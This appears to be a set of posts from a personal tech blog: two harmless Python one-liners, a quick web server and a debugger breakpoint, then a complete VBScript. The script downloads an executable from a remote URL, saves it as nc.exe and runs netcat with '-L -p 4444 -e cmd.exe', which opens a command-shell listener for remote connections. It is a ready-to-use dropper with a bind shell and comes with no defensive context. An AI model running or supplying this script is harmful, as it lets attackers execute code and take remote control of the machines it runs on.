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Python Web Server in One Line

June 23, 2014 by Mike 1 Comment

Quick and dirty web server in Python that serves files out of the current directory.

For Python 3.X:

python -m http.server 8080

For Python 2.X:

python -m SimpleHTTPServer

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Invoke the Python Debugger in One Line

June 23, 2014 by Mike Leave a Comment

Add the following snippet where you want to invoke the Python debugger:

import pdb;pdb.set_trace()

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VBScript to Download a File (Over HTTP) and Execute It

November 6, 2013 by Mike 5 Comments

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run RUNCMD

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